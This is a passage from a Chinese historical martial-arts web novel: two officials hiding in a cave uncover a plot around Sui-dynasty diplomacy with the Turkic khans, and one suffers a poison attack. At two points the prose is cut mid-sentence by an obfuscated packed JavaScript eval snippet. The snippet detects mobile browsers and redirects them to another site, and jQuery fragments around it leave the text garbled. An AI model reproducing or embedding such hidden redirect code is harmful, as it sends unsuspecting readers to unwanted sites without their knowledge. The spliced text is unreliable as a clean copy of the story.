崔不去翻了个白眼:“沙钵略蠢蠢欲动,意犯中原,但突厥各部落首领众多,沙钵略也许势力庞大,却绝不是一手遮天的存在,我此来,便是为了朝廷对付突厥的大计,此事原为绝密,无关人等不得过问,至多也与你说到这里,以你的才智并不难猜出真相,不必我再多说了吧。” 凤霄沉吟不语,黑暗中崔不去也看不见他的表情,只觉他似在思索自己的话可信度有多高。 谁知对方话锋一转,忽然问道:“这么说,温凉也是你故意抛出来的假线索?” 崔不去没吱声。 但沉默已经等同默认,凤霄有了这么一个思路,很快将前因后果串得七七八八,发现这个案子里,崔不去虽然一直待在自己身边,甚至被下了奈何香,病体支离的模样,但不知不觉间却牵着他们的鼻子绕了一大圈,不由手指痒痒,很想将对方的脑袋捏下来当球踢。 反观自己,胜券在握,高高在上,却头一回被人耍得团团转。 好容易才克制住这种冲动,凤霄皮笑肉不笑道:“能否麻烦崔道长将话说得明白一些?我们去抓温凉的那次,街上突然冒出暗算他的人,也是你让人故意下手,误导我的吧?” 28. 第 28 章 自魏、周起,北方就一直笼罩在突厥的阴影下,几代皇帝通过和亲怀柔,维持住北方的安宁,避免几次与突厥人的冲突,然而狼总归是狼,不会因为一时被喂饱,就忘了狩猎的野性,一旦没有及时投喂,就会凶性毕露,张开獠牙伺机咬人。 前代北周时,千金公主下嫁沙钵略可汗,以此维系中原与突厥的关系,两边原本也相安无事,但杨坚代周而立之后,千金公主怨恨杨坚夺权篡位,杀害自己家族父母,便撺掇沙钵略南下侵犯中原,沙钵略自然也不是个胆小怕事的性子,他野心勃勃,从几股势力包围隋朝的局面之中,看见了突厥称霸扩张的契机,就顺水推舟,应了妻子的请求,发兵犯隋。 从前年开始,战争断断续续打了一年多,沙钵略可汗联合周围部落的阿波可汗等人,发起数十万大军,分头越过长城,从马邑、可洛峐等地深入南下,隋军虽奋起抗争,有输有赢,但总体处于劣势,杨坚想要保存实力,预防南陈、高句丽突袭,必然就无法倾尽全力与突厥一战,于是不得不交好千金公主,又稳住陈朝,并利用突厥各部落之间的矛盾,打算分而化之。 崔不去正是在这样的情形下来到边城。 奉天子密令,骠骑将军长孙晟与太仆元晖分头前往黄龙道和伊吾道,交好与沙钵略关系不谐,有利益冲突的处罗侯和达头可汗,另一方面,崔不去则负责与阿波可汗的使者接头,说服他不再与沙钵略结盟,从而达到分化离间突厥内部的目的。 只不过沙钵略势力庞大强横,饶是阿波可汗有心与隋朝接触,也未敢明目张胆行事,而须私下派遣使者来到六工城。 一个多月前,就在崔不去刚刚来到六工城不久,阿波可汗就已经派出使者前来,只不过那人途经且末城夜宿时,因吃了不妥的食物上吐下泻虚脱而死,彼时乔仙与长孙菩提随崔不去暗中来到六工城内潜伏,奉命前往调查,发现那使者虽然死因蹊跷,却查无可疑,但正因如此,才更令人防备。 消息一来一回,又耗费不少时日,直到前阵子阿波可汗那边又暗中派了一名使者过来,这回行程更加隐秘,抵达且末城之后,才经由左月局的探子送来消息,按路程来算,这三五日之内,应该就能到了。 崔不去原有要务在身,与解剑府的差事井水不犯河水,但于阗使者被杀,玉胆失窃,他既然身在六工城,又正好遇上,不做点什么,简直就不像他崔不去的为人了。 于是他一面从凤霄那里打听线索,从中发现梅花冷香的关键,传递消息给乔仙和长孙菩提,让他们专门去查这条线索,企图抢先找到玉胆,将这桩功劳归入左月局名下,而凤霄就算将崔不去扣在身边,也无论如何都不会想到,他们光顾过的那间刚刚开业的五味坊,居然就是左月局在六工城内的暗桩。 另一方面,崔不去有意误导凤霄,让长孙隐藏在人群之中,暗算温凉,又正好让凤霄发现拦下,从而让凤霄他们误以为温凉的确是一个关键人物。 出于合作的需要,崔不去将来龙去脉简单提了一下,不过自然不可能事无巨细据实相告,仅仅是挑了一些他认为有必要的内容说。 凤霄听罢,叹了口气:“崔道长明明人就在我身边,须臾不离片刻,还能布局误导我查案,实在了不起啊!” 坐在这狭小|逼仄阴暗兼且气味难闻的洞窟里,崔不去却难得心情不错,连嘴角也微微扬起。 “你不是也已经猜到温凉只是一个幌子吗?” 凤霄叹了口气:“若我没有猜错,佛耳此番,不是冲着我来的,而是冲着你来的。” 阿波可汗有意向朝廷靠拢,即便不是投靠,也会有合作,突厥各部落之间互相防备,也互通有无,沙钵略可汗那边不可能一点风声都得不到,佛耳身为沙钵略座下第一高手,此时前来六工城,目的就很耐人寻味了。 他对玉胆毫无兴趣,却一心想要置凤霄于死地,只有一个解释,那就是他误以为凤霄来此,是代表朝廷与阿波可汗的使者谈判,他要阻拦这次密谈,自然要杀了凤霄。只要凤霄一死,自然可以震慑隋朝与突厥其它各部落,向他们展示沙钵略可汗的实力,也让人有所忌惮,不敢再轻举妄动。 只不过他没想到,准备与阿波可汗使者密谈的,并非凤霄,而是崔不去。 凤二府主行事高调张扬,反倒被当成了目标。 崔不去道:“既然同为朝廷办事,冲你来跟冲我来有何不同?真要论起来,凤二府主还给我下了奈何香,令我受尽折磨,这笔账我又要怎么算?” 凤霄无辜摊手:“你若一早表明身份,又怎会受这种折磨?” 崔不去:“我若一早表明,你只会更加防备我,处处掣肘,我又怎么帮你查到那条关键线索?” 两人大眼瞪小眼。 过了片刻,凤霄终于道:“你想怎么合作?” 崔不去: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728857|189580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这几日内,阿波派来的使者就会抵达六工城,你帮我继续牵制住佛耳,以及其他别有用心之人,别让他们坏了这次会谈。” 凤霄:“可以。那你说的线索呢?” 崔不去将乔仙等人循着线索找到秦氏的事情大略描述一遍,末了道:“秦妙语很可能是高句丽人,而且玉胆就在她身上。” 凤霄:“如何得知?” 崔不去:“她如果一开始就武功高强,很可能早在杀人时就已经逃脱了,没有必要继续潜伏在城内,我那手下二人联手,依旧让她给跑了,只能说她武功在短短时日内就大有长进,是以绝处逢生,放胆一搏。” 凤霄:“天池玉胆。” 崔不去点点头:“只有玉胆,才有这种传说中在短短十日内增进武功的效用。她现在有伤在身,势必不可能连夜出城,你明日回去之后调集人手全城搜捕,应该不难将人找出来。” 凤霄沉吟道:“以她几日前的身手,断然不可能孤身杀了尉迟金乌一行。” 崔不去:“但她又是一个人带着玉胆逃走的,说明她的同伴可能也在找寻她的下落,琳琅阁拍卖的那个玉胆,更有可能就是她的同伴有意放出来的,为的不是让我们上当,而是引出秦妙语。” 凤霄接道:“然而秦妙语已经从玉胆发现了提升功力的秘密,自然知道自己手里才是真的,所以不会再上当。” 二人一句接一句,竟将事情原委还原得七七八八。 所以光找到秦妙语还不行,得将她的同伙一网打尽,才算彻底消弭后患。 凤霄:“那个高宁呢,又是什么来历?” 崔不去:“此人也许与此案无关,也许是有人不放心秦妙语与她的同伙,又派过来的第三人,你们若有意,不妨暗中调查一下。” “嗯。”凤霄话锋一转:“去去啊,奉命与阿波使者密谈,想必在左月局中地位不低吧?你既已知道我的身份,是否也该对我坦诚相告,毕竟咱们也不算外人了。” 谁跟你不算外人?崔不去忍不住暗自冷笑,对凤二的脸皮叹为观止。 但他面上仍旧一派淡定,故作思考片刻:“事到如今,我也不妨实话实说,其实我不姓崔,也不叫不去。” “哦?”凤霄语调微微上扬。 崔不去:“我复姓长孙,名菩提,乃左月局副使。” 城中某处,长孙菩提忍不住打了个喷嚏。 29. 第 29 章 凤霄听罢,眼角飞起,似笑非笑。 “真是不巧,左月副使我正好都见过,一男一女,你可别说你就是其中之一。” 语气饱含“你继续编,看你怎么编”的意味。 崔不去:“你怎么知道你见到的长孙菩提就是真正的长孙菩提?” 凤霄:“哦?” 崔不去面不改色,随口胡诌:“狡兔尚且三窟,更何况是左月局,我等为朝廷办事,时常需要行踪身份隐秘,用一两个替身也很正常,毕竟我是靠脑子混口饭吃,不像风府主这样武功高强,可以任意妄为。” 凤霄怀疑他在讽刺自己头脑简单四肢发达,但崔不去的语气又很平淡寻常,令人挑不出毛病。 “那么,你们左月局正使是何人,姓甚名谁?” “我也从未见过,此人没有在人前露过脸,每次都在阴暗小屋的屏风后面与我们说话,声音有些苍老,应是上了年纪了。”崔不去张口就来,说得跟真的似的。 凤霄皱眉沉吟,心说难道是皇后身边那位深得信任的郑内侍? “声音可还阴柔?” 崔不去:“除苍老之外,无甚特别。” 凤霄叹道:“崔道长一表人才,智谋无双,可惜上头还压着个人,大丈夫不可一日无权,这处处受人掣肘,终究是不如自己作主来得痛快啊!” 两人身处如此环境,仍不忘互怼。 崔不去:“可不是吗,就跟凤郎君一样,上面也有个刑部尚书。” 凤霄笑道:“刑部尚书形同虚设,说到底,我这解剑府,与左月局终究不同,皇后固然与天子并称二圣,但说到底,这天下还是一个人的,你在那个人手底下,跟在那个人的妻子手底下,终究有所不同。依我看,你那副使,不当也罢,不如到解剑府来,我予你四府主之位,又许你生杀予夺之特权,但凡左月局能给你的,解剑府能给你,左月局给不了你的,解剑府也能给你。” 崔不去奇道:“我既然是左月副使,在解剑府也要在你之下,你能给我的,与左月局有何不同?” 凤霄:“那自然不同,一个糟老头子挡在你前面,怎如我这般风姿卓越天纵奇才来得赏心悦目?” 崔不去:…… 凤霄:“你日日看着我,心情也会变好,心情既好,身体自然不药而愈,这难道不是大大的好处?” 崔不去沉默片刻,忽然道:“凤二府主,你的确是我见过最好看的人。” 凤霄挑眉:“那是自然,你如今才意识到么?” 崔不去诚恳道:“但你也是我见过最厚颜无耻之人。” 凤霄哈哈一笑:“天下间能成大事者,岂有面薄如纸的?所谓颜面,只会作茧自缚,令自己寸步难行,单是看那佛耳,明明打不过我,还非要说是我不专心,自己给自己一个台阶,就足见此人过分爱惜名声,无论在武道还是在富贵权力追求上,都很难达到巅峰。沙钵略座下若只有这么些人,恐怕也难成大事。” 崔不去道:“据我所知,佛耳虽然号称突厥第一高手,但近年来,突厥高手辈出,已经故去的狐鹿估暂且不提,□□的处罗侯自己就是不世出的高手,还有阿波可汗座下,也有一个叫耶楼和的人,貌若女子,武功却极为狠辣,路数不同寻常,这些人都是不可小觑的强……” 凤霄正听得认真,就听见敌字还未说完,对方已经咳嗽起来。 虽然崔不去捂住嘴巴,但咳嗽声依旧从指缝里流泻出来,很快就压抑不住,越发剧烈,如果不是两个云海十三楼的人被凤霄放倒,现在他们肯定早已被发现了行踪。 伴随着咳嗽,噬骨般一抽一抽的痛楚开始从体内某一点扩散开去,很快就蔓延到全身各处,从指尖到五脏六腑,乃至太阳穴都开始发疼,这是奈何香发作时的症状,而他身体本身的虚弱则加重了这种情况,以至于每次毒发时都需要忍受比常人更多几倍的痛楚。 但即使是如此,崔不去居然也没有发出咳嗽声以外的呻|吟或痛呼。 解剑府不是没有对人用过奈何香,凤霄就曾亲眼见过一个武功高强的人在奈何香的折磨下痛哭流涕,有问必答,意志彻底崩溃,就算最后解了毒,心志也已耗损大半,身体慢慢也跟着被拖垮了,不是废人,胜似废人。 但没有半点武功的崔不去,毒伤在身,却还能跟着他跑遍大半个六工城,忍到此时方才发作。 说到底,对方是左月局的人,不是势不两立的敌人,用奈何香来对付他,是不是过了一点? 生平头一回,凤霄凤二府主自我反省了那么几息的工夫。 但他很快就将这种无用的情绪推翻,并且认为是自己同样中毒受伤,才会同病相怜。 “我身上还有奈何香。”他对崔不去道。 “……不需要。”崔不去将身体缩作一团,减少受寒,以此汲取更多的暖意。 奈何香没有解药,唯一的解药就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728858|189580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己熬过这无尽漫长的痛苦,让毒性自行消失,排出体外,练武之人可以用内力将毒性暂时压制住,另外一种缓解的办法则是以毒攻毒,用奈何香将毒性压下去,虽然压制过后,下一次发作必然会引发更强烈的痛苦,但中毒之人往往都会饮鸩止渴,都宁可追求眼前一时的安宁,选择性忽略更长远的危害。 凤霄不以为然:“洞中阴冷潮湿,你本来也已疲惫不堪,发作起来会比以往更强烈,识时务者为俊杰,下次毒发你尽可待在暖玉温香之地,总比现在舒服多了。” 崔不去只觉额头越来越热,意识开始陷入混沌,连带对方的声音,也仿佛隔了一层,不甚明晰。 “只要踏出第一步,就会有第二步,想要彻底解决,最好的法子就是连第一步都不要踏出去。”他双眼紧闭,眉头紧皱,与那无休止的疼痛作抗衡,犹能自嘲一笑。“比这更大的痛苦我都受过,这已经……不算什么。” 凤霄眉头微挑,正想细问,却听见外头呜呜作响,本已转小的风声忽而又大了起来,夹着雨雪从洞外泼入,霎时一阵冰冷刺骨,一张嘴就是一大口冷风灌入,立马牵动肩膀上的毒伤,他也跟着咳嗽起来。 咳嗽一开始,好像就再也停不下来,长夜漫漫,两人各占一块地方,咳嗽声此起彼伏,倒像是在一唱一和。 虎落平阳被犬欺,只差外面再来上一声狼嚎了。 这个念头刚起,仿佛为了应和他,凤霄还真听见风雪之中的山崖上隐隐有狼嚎传来。 他抽了抽嘴角,看向咫尺之距的崔不去。 凤霄:“喂。” 崔不去全身仅存的清醒都用在与毒性拉锯上,压根没空理他。 凤霄咳嗽两声:“我也受伤了,要不你过来一点,我们挨紧些,还能取暖。” 崔不去勉强睁开眼,蹙眉想了想,才迟钝地将他的话传送入脑。 “滚过来。”他道。 凤霄:??? 他见崔不去一动不动,想想对方估计也的确是没什么力气了,只好纡尊降贵挪了一下身躯,将对方揽入怀中,心里悲愤地想道:本座他娘的到底怎么会沦落到这种处境的? 说一千道一万,这全都是因为一个人。 裴、惊、蛰。 …… 裴惊蛰站在卢宅门口,一连打了三个喷嚏。 他来不及思考自己是受凉得了风寒,还是有人在念叨他,因为他也遇到了一件意外。